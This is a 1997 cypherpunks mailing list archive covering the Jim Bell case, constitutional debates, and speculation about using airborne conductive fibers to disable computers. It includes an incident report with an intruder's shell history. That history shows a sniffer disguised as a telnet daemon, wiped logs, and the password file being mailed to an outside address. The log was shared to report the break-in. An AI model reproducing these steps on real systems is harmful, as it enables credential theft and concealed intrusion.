wWfnoYQYyxm3+ygOh0ZNpb79VTszoL19xc97azx8iGxgQx/vhORL48Aa8RjGfGFT
cb5RiAHWmr9WLlSqgP1OjBmnnjtpRE3b/cLcoWUL8NdxWnvv49JLO0eJ0gecY7sG
IUBATSRLx88=
=IVHA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 24 May 1997 08:02:11 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Complaint
Message-ID: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We offer the May 16 complaint against Jim Bell:

   http://jya.com/jimbell3.htm

The complaint draws upon previous search warrants 
at Greg Broiles's site:

   http://www.parrhesia.com/jimbell/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 24 May 1997 02:00:09 +0800
To: cypherpunks@cyberpass.net
Subject: NoneStories from the Bell jar & The theory of relativity
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <199705231743.TAA06739@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


>>I guess the only *real* solution is to get rid of the thugs.
>
>Possibly the real solution is not to do stupid things.


The "Rodney King" effect here is amazing.  Jim Bell was not quite a model
citizen.  I don't think most of us would consider stinkbombing office
buildings normal behavior.  But that was 13 years ago, and compared to
what the feds did to him, Jim Bell comes out looking like an angel.  All
things are relative.


PS  For the benefit of our non-technical readers, a bell jar is a glass
dome used in vacuum experiments.  AFAIK, you can't make a stink bomb in
one. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 09:42:41 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Police & military access (fwd)
Message-ID: <199705240056.TAA21591@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Fri, 23 May 1997 15:12:54 -0700
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Police & military access

> >This would seem to support Jim Choate's general position. (Though I have my
> >own skepticism that many jurisdictions think it is true.)
> 
> Jim Choate's messages about cops and "civil rights" suggest that he's not
> familiar with and/or interested in the basics of legal research.
> Restrictions (and lack of restrictions) related to use of force, power to
> arest, possession/use of weapons, etc., are mostly statutory. You can't
> find them (or understand them) by starting with only the Constitution, and
> then reasoning and deducing things from it.

Absolutely, but those statutes MUST be referencable back to the
Constitution. Something I freely admit is not the current case. If it were
the current case this would be a very quite mailing list indeed.

What a citizen can and can't do with a weapon is covered in the 2nd. It 
includes police. If I as a citizen can't have object x then a police officer
can't have it, constitutionaly.

> >From a moral or political perspective, (e.g., what *should* the
> relationship between cops and citizens look like) what he writes is
> perfectly reasonable. From a legal perspective (what is the law today?)
> it's incomplete and thereby misleading. 

Absolutely, and if you are infering that I at any time in my life have EVER
asserted that my speculation was the case then you need to take a reading
comprehension course (as well as reflect on what the entire discussion on
cypherpunks truly is at the core).

What *should* be the case is the whole damn point.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 09:54:18 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: SIGH Kent clueless again(was Re: spam is a good thing (was Re: Spam IS Free Speech)) (fwd)
Message-ID: <199705240107.UAA21651@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Fri, 23 May 97 08:29:59 -0500

> No not at all. Just because I am connected to the network I am under no
> obligation to accept a single bit. I don't have to ever download any mail
> or I can download all or I can pick and choose what I accept or what I
> don't.

Exactly,

This is the whole point of a firewall after all. Simply connecting your
cable to a publicly accessible source implies no more than having your
driveway end in a public street. It is NOT an open invitation to stroll
through your living room.

> Obviously you have not ever entered into contract agreements with an
> accesses provider. There is no obligation on my part to receive a single
> bit. If I never run a sendmail daemon then I will never receive a single
> e-mail message regardless of how many are aimed at my servers. This is the
> same with any TCP/IP service. The only obligation I have with my upstream
> provider is to pay my bill. If I choose to bounce everything that is
> routed from Spamford it is my right to do so as it is *MY* equipment. 

This is certainly the exact case between myself and my provider for SSZ.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 24 May 1997 10:17:15 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
Message-ID: <199705240158.UAA06994@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>, on 05/23/97 
   at 07:13 PM, John Young <jya@pipeline.com> said:

>Time to study and ponder the 1st Amend -- which, by the way, Matt Blaze
>did at the NYC crypto forum last night to challenge Charney and Denning.
>Matt pulled out a copy and cited
>it, which may be a good indication of what he knows that
>we don't about what's coming.

I found it quite troubling the number of legal activities that were cited
in the complaint as if they were illegal.

- -- Possesion of "assault weapons"
- -- Possession of documents on explosives
- -- Possession of documents on poisons
- -- Possession of documents on biological agents
- -- Possession of documents regarding the adverse affects of carbon fibers
on electrical equipment.

All of the above "crimes" I am guilty of as:

Thanks to the 2nd amendment it is still legal in this country to own a
gun. If I recall right when "assault weapon" became a popular Washington
buzz word it referred to any semi-automatic weapon.

Documentation on explosives, poisons, and biological agents can be found
in numerous text books & articles on chemistry, engineering, biology, and
medical sciences. Due to my schooling and work in both the engineering &
medical fields I have an entire wall of my office covered with such books
and articles.

I don't posess any documents on carbon fibers but I would think that it is
obvious to anyone with an IQ greater than their shoe size (or that of an
IRS agent) that electronic equipment introduced to copper coated fibers
are not long for this world. :)


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Sat, 24 May 1997 12:02:59 +0800
To: cypherpunks@toad.com
Subject: Re: NYC Crypto Forum
Message-ID: <3.0.32.19970523202644.006bc41c@best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:40 PM 5/23/97 -0400, John Young wrote:
>Some highlights:
>
>David Kahn, in the audience, reaffirmed his support for
>key escrow, stating that it would not change the current
>legal provisions for electronically snooping, and why ask 
>for more privacy than is now authorized.

/\/\/\/\/\ Does anyone else see the horror in this? /\/\/\/\/\/\/\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 24 May 1997 10:22:11 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Police & military access (fwd)
Message-ID: <199705240135.UAA21802@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Fri, 23 May 1997 00:53:43 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Police & military access

> I have no problem with the notion that there is no weapon, no technology
> which certain government officials or police may have but which civilians
> are *not* allowed to have. I don't think the Founders envisioned any such
> circumstances.

They considered such a state instrumentality in the army, the precise reason
they didn't want a standing army in the first place (ie 2yr. limit on ALL
military spending, something flaunted openly). They clearly didn't want such
instrumentalities used by peace time forces and considering the
constitutional ban on using military forces inside the borders of the US it
seems clear they didn't want them used against the citizenry, period.

> The usual cited case is of private ownership of nuclear weapons.

You should read "Dad's Nuke".

> (The Founders didn't know about nuclear weapons and biological weapons,

At this time Simon De' Laplace was forming his first writings regarding how
the sun worked. It discussed gaseous compression and its 'lighting'. Just
about everything else in the paper was wrong.

Tell that to all the Indians they intentionaly killed with smallpox infected
blankets and their commen cold. While they did't didn't have a clue to the
actual process they were well aware of how to deal with the diseases.

I would say my experience is that the relative cluelessness held by the
users of their technology clearly matched those we now trust with it.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 24 May 1997 10:39:37 +0800
To: cypherpunks@toad.com
Subject: Re: Police & military access (fwd)
Message-ID: <199705240140.UAA21876@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 22 May 1997 23:23:31 -0700
> From: Kent Crispin <kent@songbird.com>
> Subject: Re: Police & military access

> > Do police have any civil rights not endowed to a individual citizen?
> 
> No.  But on the job, doing their state assigned duties, they have
> access to instrumentalities not available to private citizens or
> off-duty police.  "On" and "off" duty may sometimes be a little fuzzy
> in practice, but the principle is clear.  It isn't a big deal, and
> it's not a matter of civil rights.

Which principle is clear? That police like to confuse the issue as much as
possible to their advantage?

Of course it is a matter of civil rights. The police are a representative of
the CIVIL authorities, you have truly missed the entire point of the
constitution.

>  A license to practice medicine
> gives you the ability to prescribe morphine.  A certain class of
> drivers license lets you drive a school bus full of children. 

True, but there is NO law that can dictate which doctor I choose let alone
if I choose one at all. At least there I have a choice, because of this the
comparison you are trying to draw is broke.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 10:54:09 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: carbon fibers (fwd)
Message-ID: <199705240207.VAA22060@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Subject: carbon fibers
> Date: Fri, 23 May 1997 21:11:00 -0500 (CDT)
> From: ichudov@algebra.com (Igor Chudov @ home)

> Reading all the discussions about Jim Bell, I became interested in
> the carbon fibers that Jim allegedly planned to use to disrupt the
> work of compiters.
> 
> I would appreciate if anyone explained me how these fibers work, how
> small and thin they are, and so on. I am also curious when and how this
> use of these fibers was invented.

Carbon is commenly used in electronics because when compressed it generates
a small voltage, ala your phone receiver.

It can be both a insulator or a conductor depending on how one fills the
outer valence band. Because its 'natural' state is -4 (it has 8 positions
and only 4 are filled with electrons) it makes a fair conductor. Yet, it is
not listed in most Activity Series for metals. I believe the idea is that
since it is a reasonable conductor that when it falls across parallel lands
on the pcb of a cpu it will short the lines. This would not only affect the
reliability of the data because of current leakage but might in some cases
cause an actual failure because of incorrect voltage or current.

Some relevant physical data to consider: [1]

Data from the Periodic Table:

Carbon (C)
6/12.011
Valences     +2, +4, -4
2.62 g/cm^3 @ STP
M.P.  4100
B.P.  4470
Hexagonal crystal structure
Electronegativity 2.55 (metal)

(if anyone can find the conductivity I would appreciate it, it wasn't in
[1] or the CRC that I have)





[1] The Addison-Wesley Science Handbook: For scientists, writers, and
                                         science buffs
    G.J. Coleman, D. Dewar
    ISBN 0-201-76652-3

                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 10:22:44 +0800
To: cypherpunks@manifold.algebra.com
Subject: carbon fibers
Message-ID: <199705240211.VAA10002@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Reading all the discussions about Jim Bell, I became interested in
the carbon fibers that Jim allegedly planned to use to disrupt the
work of compiters.

I would appreciate if anyone explained me how these fibers work, how
small and thin they are, and so on. I am also curious when and how this
use of these fibers was invented.

Thank you.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 24 May 1997 09:41:57 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Jim Bell Complaint
Message-ID: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


William Geiger wrote:

>After reading the complaint I have to say that with friends like that
>who needs enemies?

True, if that's what the friends actually said, and if they were
not induced to do so by being fed lethal information: don't
go down with Bell, protect yourself, spill your guts.

Recall that John Painter spoke to one or more of them
and they hedged the remarks of the complaint, but he,
too, saw the makings of a deal in the affadavit's allegations.

Turning friends against friends is pretty common in
investigations, using threats and promises of relief
from possible charges, even saying that your friend is
squealing on you.

I was struck by how similar some remarks attributed to
Bell were to those attributed to McVeigh, not that they
were not made, but that the investigators chose to
select just those to indicate lethal intent. 

The possible link between the McVeigh trial and Jim Bell's 
bust could indicate how the feds are itching to attack
every advocate of anti-gov mayhem (no pun Tim).

The IRS searching the Internet for incriminating advocacy 
is a warning of what's to come, as often predicted here.

Time to study and ponder the 1st Amend -- which, by the way,
Matt Blaze did at the NYC crypto forum last night to challenge
Charney and Denning. Matt pulled out a copy and cited
it, which may be a good indication of what he knows that
we don't about what's coming.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 24 May 1997 10:20:30 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Complaint
Message-ID: <1.5.4.32.19970524015414.00745f94@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We missed deleting one cite of Jim's "true" SSN
in the complaint, which has now been done. Those
who got early copies, consider ***-ing the num.
Thanks.

'Course, IRS may have faked it, too.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 13:30:04 +0800
To: cypherpunks@algebra.com
Subject: Re: carbon fibers (fwd)
In-Reply-To: <199705240207.VAA22060@einstein.ssz.com>
Message-ID: <v03102803afac276485ce@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:50 PM -0500 5/23/97, William H. Geiger III wrote:

>In reading the complaint Jim was using a copper coated carbon fiber mesh
>that was then to be processed (probably cut up and ground) into a fine
>pouder so it could be delivered airborn. I think that the critical
>ingrediant was the copper coating and not the carbon itself though it
>should have an additive affect for the reasons mentioned above.

???

Why make things so complicated? As I have been reading the articles and
complaints, it seeemed fairly clear that what was being talked about were
conductive fibers (I read the complaint as saying "nickel-coated," not
"copper-coated," but this is a minor point). Think: fibers like fiberglass
batting, except conductive rather than insulating.

(This is some of what the EE used on the Iraqi defense stations to disable
them.)

The whole idea of them being airborne suggests small fibers. Not powder, as
I visualize the plan.

Having said this, a lame idea. Maybe a single computer system would go
offline for some period...such outages happen all time anyway. Between
backups in other offices, in other buildings, etc., no lasting effect.

Further, I'm willing to bet the ventilation ducts do not enter directly
into "the computers." Between ordinary PCs and workstations, and even
VAXes, nearly all of them draw their cooling air from ordinary room air.

(My lab up near Portland,  coincidentally, had one of the first VAX
11/780s, surely larger (though not faster) than any 9-1-1 system now likely
to be installed...and it drew its cooling air from the surrounding room.)

The point being that airborne fibers would have a tortuous path to follow
from a rooftop duct down past the various filters (often HEPA) to get to
the inside computer rooms, and then past the foam filters typcally near the
box fans on PCs (or probably somewhat better filters on Suns and
workstations and Unisi.

In other words, pie in the sky for actually knocking out any service for a
significant amount of time and with any significant chance of success.

(I wouldn't be surprised if Jim didn't do some experiments on real
systems...that's what I'd do. Got to characterize the process before even
considering actual use. And if done properly, one might even be paid as a
consultant for doing such studies. Doesn't make one a criminal for buying
the raw materials, nor even for joking about it...especially given the
implausiblity of it actually working. Just idle speculation.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 24 May 1997 12:08:43 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: carbon fibers (fwd)
In-Reply-To: <199705240207.VAA22060@einstein.ssz.com>
Message-ID: <199705240355.WAA08362@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705240207.VAA22060@einstein.ssz.com>, on 05/23/97 
   at 08:07 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>> Subject: carbon fibers
>> Date: Fri, 23 May 1997 21:11:00 -0500 (CDT)
>> From: ichudov@algebra.com (Igor Chudov @ home)

>> Reading all the discussions about Jim Bell, I became interested in
>> the carbon fibers that Jim allegedly planned to use to disrupt the
>> work of compiters.
>> 
>> I would appreciate if anyone explained me how these fibers work, how
>> small and thin they are, and so on. I am also curious when and how this
>> use of these fibers was invented.

>Carbon is commenly used in electronics because when compressed it
>generates a small voltage, ala your phone receiver.

>It can be both a insulator or a conductor depending on how one fills the
>outer valence band. Because its 'natural' state is -4 (it has 8 positions
>and only 4 are filled with electrons) it makes a fair conductor. Yet, it
>is not listed in most Activity Series for metals. I believe the idea is
>that since it is a reasonable conductor that when it falls across
>parallel lands on the pcb of a cpu it will short the lines. This would
>not only affect the reliability of the data because of current leakage
>but might in some cases cause an actual failure because of incorrect
>voltage or current.

In reading the complaint Jim was using a copper coated carbon fiber mesh
that was then to be processed (probably cut up and ground) into a fine
pouder so it could be delivered airborn. I think that the critical
ingrediant was the copper coating and not the carbon itself though it
should have an additive affect for the reasons mentioned above.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!

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Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 24 May 1997 14:43:15 +0800
To: cypherpunks@algebra.com
Subject: Re: Timmy and the OKC Actions
Message-ID: <3.0.2.32.19970523233136.00899cc0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:29 PM 5/23/97 -0700, you wrote:
>At 10:56 AM -0700 5/23/97, Huge Cajones Remailer wrote:
>>  The US is still reeling from OK City.  Tried as it might, the US gov't
>>couldn't find an outside enemy to pin it to.  Whether
>>Timmy did it or not is again irrelevant, they needed to find
>  ^^^^^^^^^^^^^^^^^^^
>>someone to blame and did.  Now that it's the defenses turn, it
>...
>
>Hey, I _didn't_ do it. Honest. No fooling. I was more than 30 miles away
>when that blast went off, and you can't place me in OKC anytime that
>morning.

Then why was Lassie in the background of the pictures of the blast?  (You
can see her doing somersaults through the air, hurled like so much
Jagermeister.)  And what about the truck driven by June Lockhart?  And that
robot waving his arms yelling "Danger! Danger!"

Oops...  Sorry. Wrong Timmy.


---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 13:18:03 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: System Attack & FBI (fwd)
Message-ID: <199705240433.XAA22417@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

For your amusement.

                                       Jim Choate
                                       CyberTects
                                       ravage@ssz.com


Forwarded message:
> From ravage@ssz.com Fri May 23 23:28:29 1997
> From: Jim Choate <ravage@ssz.com>
> Message-Id: <199705240428.XAA22380@einstein.ssz.com>
> Subject: System Attack & FBI
> To: users@einstein.ssz.com
> Date: Fri, 23 May 1997 23:28:27 -0500 (CDT)
> Cc: staff@einstein.ssz.com
> X-Mailer: ELM [version 2.4 PL23]
> Content-Type: text
> Content-Length: 7477      
> 
> 
> Hi,
> 
> As you will see below I have been tracking a waskelly wabbit for the last
> few weeks. I apologize for any interference with your access but I could
> not let it go without some sort of responce.
> 
> I *STRONGLY* advise you to change your password immediately.
> 
> I do not expect anyone other than myself to have to talk with the FBI.
> 
> If you have any questions please feel free to email me.
> 
>                                                  Jim Choate
>                                                  CyberTects
>                                                  ravage@ssz.com
> 
> 
> Forwarded message:
> 
> > From rberger@rberger.com Fri May 23 23:13:34 1997
> > Message-Id: <3.0.1.32.19970523234327.006eefec@rberger.com>
> > X-Sender: rberger@rberger.com
> > X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
> > Date: Fri, 23 May 1997 23:43:27 -0500
> > To: Jim Choate <ravage@einstein.ssz.com>
> > From: rberger <rberger@rberger.com>
> > Subject: Re: You have a hacker!
> > In-Reply-To: <199705240343.WAA22299@einstein.ssz.com>
> > Mime-Version: 1.0
> > Content-Type: text/plain; charset="us-ascii"
> > 
> > Thank you very much for sending us an e-mail and your logs.   We are going
> > through
> > our FTP logs at this time.   Although initial results don't show
> > corresponding ftps at these
> > times or files.     Although a week ago we were fighting a hacker using the
> > a same
> > techquies as shown by the telnet sessions.   So we will be monitoring
> > everything very
> > closely here for a few more days.  Our next search will be the accounts
> > logged in on
> > these ports at the times given.   We have been working with the FBI, along
> > with several
> > other ISP's in Dallas.   If you capture any other logs please send them
> > again to
> > root@applink.net.   If you dont hear anything from us in less than 24 hours
> > please re-send
> > your e-mail message again to my domain rberger@rberger.com just in case the
> > root e-mail/logs are being monitored & modified.
> > 
> > Regards,
> > 
> > Randall Berger,  CEO
> > AppLink Corporation
> >  
> > 
> > At 10:43 PM 5/23/97 -0500, you wrote:
> > >
> > >Hello,
> > >
> > > 
> > > My name is Jim Choate, I own and operate CyberTects a small office - home
> > > office consultancy in Austin, TX. Over the last couple of weeks I have been
> > > tracking an intrusion on my system that has involved your systems. I would
> > > appreciate any help you can provide in resolving this issue.
> > > 
> > > I believe a home account for the perp is dkny007@hotmail.com
> > > 
> > > I will attach below the relevant files.
> > > 
> > > 
> > >                                                     Jim Choate
> > >                                                     CyberTects
> > >                                                     ravage@ssz.com
> > > 
> > >  --------------------------------------------------------------------------
> > > 
> > > bbixler   ttyp0        app42-73.applink Fri May 23 16:04 - 16:06  (00:01)
> > > bbixler   ttyp0        app42-75.applink Fri May 23 00:21 - 00:28  (00:07)
> > > bbixler   ttyp0        app42-90.applink Thu May 22 13:33 - 13:37  (00:03)
> > > bbixler   ttyp0        app41-50.applink Wed May 21 20:01 - 20:31  (00:30)
> > > bbixler   ttyp0        app41-47.applink Wed May 21 19:53 - 19:54  (00:00)
> > > bbixler   ttyp0        app42-85.applink Wed May 21 18:46 - 19:00  (00:14)
> > > bbixler   ttyp0        app42-75.applink Wed May 21 10:39 - 10:40  (00:00)
> > > bbixler   ttyp0        app41-52.applink Sun May 18 23:04 - 23:11  (00:07)
> > > bbixler   ttyp1        app42-78.applink Sat May 17 18:46 - 18:49  (00:02)
> > > bbixler   ttyp1        app42-67.applink Sat May 17 01:22 - 01:26  (00:03)
> > > bbixler   ftp          fw6-10.ppp.iadfw Wed May 14 22:27 - 22:28  (00:01)
> > > bbixler   ttyp1        app42-94.applink Tue May 13 16:12 - 16:18  (00:05)
> > > bbixler   ttyp0        app42-85.applink Mon May 12 17:02 - 17:05  (00:02)
> > > bbixler   ttyp0        app42-73.applink Sun May 11 12:29 - 12:36  (00:07)
> > > bbixler   ttyp0        app42-71.applink Sat May 10 20:15 - 20:17  (00:01)
> > > bbixler   ttyp0        app42-71.applink Sat May 10 19:40 - 19:50  (00:09)
> > > bbixler   ttyp0        max2-800-04.eart Wed Feb 12 18:05 - 18:06  (00:00)
> > > 
> > > wtmp begins Sun Feb  2 16:36 
> > > 
> > >  --------------------------------------------------------------------------
> > > 
> > > whoami
> > > ls
> > > mv perl-ex.sh /tmp/.bgg
> > > mkdir /tmp/.bg
> > > cd /tmp
> > > cd .bg
> > > ls
> > > lynx
> > > ls
> > > gcc linsniffer.c 
> > > ls
> > > ps
> > > who
> > > w
> > > ps aux
> > > a.out &
> > > ls
> > > ifconfig
> > > /sbin/ifconfig
> > > ls
> > > tail -f tcp.log 
> > > free
> > > ls
> > > cat tcp.log 
> > > cd ..
> > > ls
> > > w
> > > cd
> > > cd ..
> > > ls
> > > cd ..
> > > cd /etc
> > > ls
> > > minicom
> > > cd ..
> > > ls
> > > cd cdrom.
> > > cd cdrom
> > > ls
> > > cd ..
> > > cd
> > > ls
> > > cd bin
> > > ls
> > > cd ..
> > > cd ..
> > > ls
> > > w
> > > finger
> > > cd Pphantom
> > > cat /etc/passwd | grep Pphantom
> > > cd phantom
> > > ls
> > > ls -al
> > > cat .bash_history 
> > > cd /etc
> > > cat hosts
> > > ls
> > > cd /tmp
> > > cd .bg
> > > cat tcp.log 
> > > exit
> > > cd .bg
> > > ls
> > > w
> > > ls
> > > ls -al
> > > cat tcp.log 
> > > ifconfig
> > > /sbin/ifconfig
> > > ls
> > > exit
> > > mv x.sh /tmp
> > > cd .bg
> > > ls
> > > cd /tmp
> > > ls
> > > mv x.sh .bg
> > > cd .bg
> > > ls
> > > kill -9 14523
> > > ps aux
> > > mv a.out in.telnetd
> > > ls
> > > rm tcp.log 
> > > ./in.telnetd &
> > > exit
> > > pico tcp.log 
> > > ls
> > > ps aux
> > > kill -9 16282
> > > ls
> > > ./in.telnetd &
> > > exit
> > > cat /dev/null > tcp.log
> > > w
> > > exit
> > > pico tcp.log 
> > > ls
> > > ls -al
> > > cd /etc
> > > cat passwd
> > > mail dkny007@hotmail.com < passwd
> > > exit
> > > w
> > > ls -al
> > > pico tcp.log 
> > > echo /dev/null > tcp.log 
> > > ls -al
> > > ps aux
> > > quit
> > > exit
> > > id
> > > w
> > > ftp 
> > > ls
> > > mkdir /home/ftp/.tmp
> > > mkdir /home/ftp/.tmp/.sub
> > > mv linsniff /home/ftp/.tmp/.sub/
> > > cd /home/ftp/.tmp/.sub/
> > > mv linsniff in.te1netd
> > > ls -l
> > > chmod 755 in.te1netd 
> > > in.te1netd &
> > > ps
> > > ps aux
> > > killall in.te1netd
> > > ls
> > > ls -a
> > > ls -l
> > > in.te1netd &
> > > /home/ftp/.tmp/.sub/in.te1netd
> > > /home/ftp/.tmp/.sub/in.te1netd
> > > ls -s
> > > rm in.te1netd 
> > > cd
> > > ls
> > > mv hello .h311o
> > > ftp 
> > > ls
> > > mv linsniffer.c /home/ftp/.tmp/.sub/
> > > cd /home/ftp/.tmp/.sub
> > > ls
> > > cc linsniffer.c 
> > > mv a.out in.te1netd
> > > chmod 755 in.te1netd 
> > > ls
> > > rm linsniffer.c 
> > > in.te1netd &
> > > exit
> > > cd ..
> > > mv apache.tgz .bg
> > > cd .bg
> > > ls
> > > tar xfvz apache.tgz 
> > > cd apache_1.2b10/
> > > ls
> > > cd src
> > > make
> > > ls
> > > ./Configure 
> > > make
> > > ls
> > > cd ..
> > > ls
> > > cd cgi-bin/
> > > ls
> > > cd ..
> > > ls
> > > cd ..
> > > ls
> > > w
> > > rm -rf apache*
> > > lynx
> > > ls
> > > tar xfvz apache_1.1.3.tar.gz 
> > > cd apache_1.1.3
> > > ls
> > > cd src
> > > ls
> > > ./Configure 
> > > make
> > > ls
> > > cd ..
> > > ls
> > > cd ..
> > > ls
> > > rm -rf apache_1.1.3
> > > ls
> > > rm -rf apache_1.1.3.tar.gz 
> > > w
> > > exit
> > > kill -9 14551
> > > ls
> > > ls -al
> > > cd ..
> > > ls
> > > cd /home
> > > ls
> > > cd ftp
> > > ls -al
> > > cd .tm[p
> > > cd .tmp/
> > > ls
> > > ls -al
> > > cd .sub/
> > > ls
> > > rm *
> > > cd ..
> > > cd ..
> > > rm -rf .tmp/
> > > ls
> > > cd
> > > ls
> > > cd /root
> > > ls
> > > cd ssz
> > > ls
> > > cd ..
> > > ls
> > > cd pgp
> > > ls
> > > cd ..
> > > cd etc
> > > ls
> > > cd ..
> > > ls
> > > cd /
> > > ls
> > > exit
> > > id
> > > crontab -e
> > > ls
> > > vi .sub
> > > crontab -e
> > > ls
> > > cat /home/ftp/.tmp/.sub/tcp.log
> > > ps aux
> > > who
> > > cd /home/ftp
> > > ls -a
> > > mkdir .tmp/.sub
> > > mkdir .tmp
> > > cd .tmp
> > > exit
> > > cd
> > > ls
> > > cd /root
> > > ls
> > > cd khg-0.5/
> > > ls
> > > cd ..
> > > cat .bash_history 
> > > ls
> > > cd /etc
> > > ls
> > > cat hosts
> > > exit
> > > 
> > >
> > >
> > >
> > 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 24 May 1997 15:12:33 +0800
To: cypherpunks@toad.com
Subject: Re: The Bell Plan
In-Reply-To: <199705231935.PAA07649@dhp.com>
Message-ID: <19970523234634.53126@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


